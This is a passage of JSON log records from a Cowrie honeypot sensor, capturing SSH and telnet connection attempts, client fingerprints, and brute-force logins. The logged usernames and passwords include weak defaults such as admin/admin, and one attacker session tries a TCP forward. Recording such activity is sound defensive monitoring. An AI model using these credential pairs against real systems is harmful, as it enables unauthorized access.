sh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:38.844456Z","src_ip":"14.225.205.58","session":"35aee6971f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123qwe","message":"login attempt [debian/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:39.946598Z","src_ip":"14.225.205.58","session":"35aee6971f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":47016,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b8df16cb81d","protocol":"ssh","message":"New connection: 80.94.92.186:47016 (10.17.0.5:22) [session: 8b8df16cb81d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:40.096592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:40.278879Z","src_ip":"80.94.92.186","session":"8b8df16cb81d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:40.282759Z","src_ip":"80.94.92.186","session":"8b8df16cb81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:41.217383Z","src_ip":"14.225.205.58","session":"35aee6971f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"fuckyou","message":"login attempt [sol/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:41.847094Z","src_ip":"80.94.92.186","session":"8b8df16cb81d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:43.110531Z","src_ip":"80.94.92.186","session":"8b8df16cb81d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.62.191.225","src_port":47514,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c046a870ad9","protocol":"telnet","message":"New connection: 115.62.191.225:47514 (10.17.0.5:23) [session: 7c046a870ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:09:52.171807Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":58296,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2572b10d09a","protocol":"ssh","message":"New connection: 103.91.246.101:58296 (159.203.135.109:22) [session: e2572b10d09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:21.958609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:21.966382Z","src_ip":"103.91.246.101","session":"e2572b10d09a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:22.202480Z","src_ip":"103.91.246.101","session":"e2572b10d09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.661017894744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:22.832702Z","src_ip":"115.62.191.225","session":"7c046a870ad9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome@1","message":"login attempt [ubuntu/Welcome@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:23.170464Z","src_ip":"103.91.246.101","session":"e2572b10d09a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:24.417018Z","src_ip":"103.91.246.101","session":"e2572b10d09a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":50724,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc52bc03b06","protocol":"ssh","message":"New connection: 58.186.20.143:50724 (10.17.0.5:22) [session: cdc52bc03b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:30.133398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:30.139425Z","src_ip":"58.186.20.143","session":"cdc52bc03b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:30.394088Z","src_ip":"58.186.20.143","session":"cdc52bc03b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"t","message":"login attempt [test/t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:31.406847Z","src_ip":"58.186.20.143","session":"cdc52bc03b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:32.656058Z","src_ip":"58.186.20.143","session":"cdc52bc03b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":41626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f95fe7fd05ae","protocol":"ssh","message":"New connection: 101.47.159.125:41626 (159.203.135.109:22) [session: f95fe7fd05ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.357186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.362581Z","src_ip":"101.47.159.125","session":"f95fe7fd05ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.594327Z","src_ip":"101.47.159.125","session":"f95fe7fd05ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":41238,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bd4ba97da3d","protocol":"ssh","message":"New connection: 14.225.205.58:41238 (159.203.135.109:22) [session: 0bd4ba97da3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.737232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.740663Z","src_ip":"14.225.205.58","session":"0bd4ba97da3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:36.994506Z","src_ip":"14.225.205.58","session":"0bd4ba97da3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat","message":"login attempt [ubuntu/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:37.552501Z","src_ip":"101.47.159.125","session":"f95fe7fd05ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest","message":"login attempt [guest1/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:38.776798Z","src_ip":"14.225.205.58","session":"0bd4ba97da3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:38.787015Z","src_ip":"101.47.159.125","session":"f95fe7fd05ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:40.037978Z","src_ip":"14.225.205.58","session":"0bd4ba97da3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49418,"dst_ip":"10.17.0.5","dst_port":22,"session":"635b1e2a6607","protocol":"ssh","message":"New connection: 87.251.64.176:49418 (10.17.0.5:22) [session: 635b1e2a6607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.065434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.070199Z","src_ip":"87.251.64.176","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.166453Z","src_ip":"87.251.64.176","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.459348Z","src_ip":"87.251.64.176","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.557869Z","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.655166Z","src_ip":"87.251.64.176","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:10:49.753488Z","src_ip":"87.251.64.176","session":"635b1e2a6607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":53636,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ef0d29d803d","protocol":"ssh","message":"New connection: 160.251.185.39:53636 (10.17.0.5:22) [session: 7ef0d29d803d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:04.587411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:04.594390Z","src_ip":"160.251.185.39","session":"7ef0d29d803d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:04.778411Z","src_ip":"160.251.185.39","session":"7ef0d29d803d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0123456789","message":"login attempt [admin/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:05.541805Z","src_ip":"160.251.185.39","session":"7ef0d29d803d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:06.728766Z","src_ip":"160.251.185.39","session":"7ef0d29d803d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":36450,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8d78e390db1","protocol":"ssh","message":"New connection: 103.91.246.101:36450 (159.203.135.109:22) [session: e8d78e390db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:22.068968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:11:22.073190Z","src_ip":"103.91.246.101","session":"e8d78e390db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-s